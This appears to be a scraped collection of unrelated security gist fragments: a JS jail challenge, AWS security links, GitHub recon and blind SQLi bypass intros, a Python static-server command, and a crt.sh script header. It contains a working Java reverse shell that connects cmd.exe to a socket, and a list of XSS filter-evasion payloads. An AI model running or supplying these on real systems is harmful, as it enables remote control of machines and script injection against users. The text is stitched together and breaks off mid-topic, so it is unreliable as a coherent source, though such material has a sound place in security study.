Simple JS Jail challenge.
It is run on context, so we have nothing but to play with constructor
and console
.
1337 === eval(our_input)
INTRO | |
I get asked regularly for good resources on AWS security. This gist collects some of these resources (docs, blogs, talks, open source tools, etc.). Feel free to suggest and contribute. | |
Short Link: http://tiny.cc/awssecurity | |
Official AWS Security Resources | |
* Security Blog - http://blogs.aws.amazon.com/security/ | |
* Security Advisories - http://aws.amazon.com/security/security-bulletins/ | |
* Security Whitepaper (AWS Security Processes/Practices) - http://media.amazonwebservices.com/pdf/AWS_Security_Whitepaper.pdf | |
* Security Best Practices Whitepaper - http://media.amazonwebservices.com/AWS_Security_Best_Practices.pdf |
GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.
You can just do your research on github.com, but I would suggest cloning all the target's repositories so that you can run your tests locally. I would highly recommend @mazen160's GitHubCloner. Just run the script and you should be good to go.
$ python githubcloner.py --org organization -o /tmp/output
There are several ways to bypass blind SQLi filters,
and today I will introduce MySQL blind sqli payload using an insert()
function.
Interestingly, the payload itself is limited to MySQL, but the technical side of this attack should be still valid in most SQL.
This attack is useful when typical substring filters (i.e. left(), right(), mid(), substr(), regexp(), strcmp(), concat() ... LIKE ...
) are blocked by the script.
String host="localhost"; | |
int port=8044; | |
String cmd="cmd.exe"; | |
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
#!/bin/bash | |
# | |
# crt.sh sub-domain check by 1N3@CrowdShield | |
# https://crowdshield.com | |
# | |
OKBLUE='\033[94m' | |
OKRED='\033[91m' | |
OKGREEN='\033[92m' | |
OKORANGE='\033[93m' |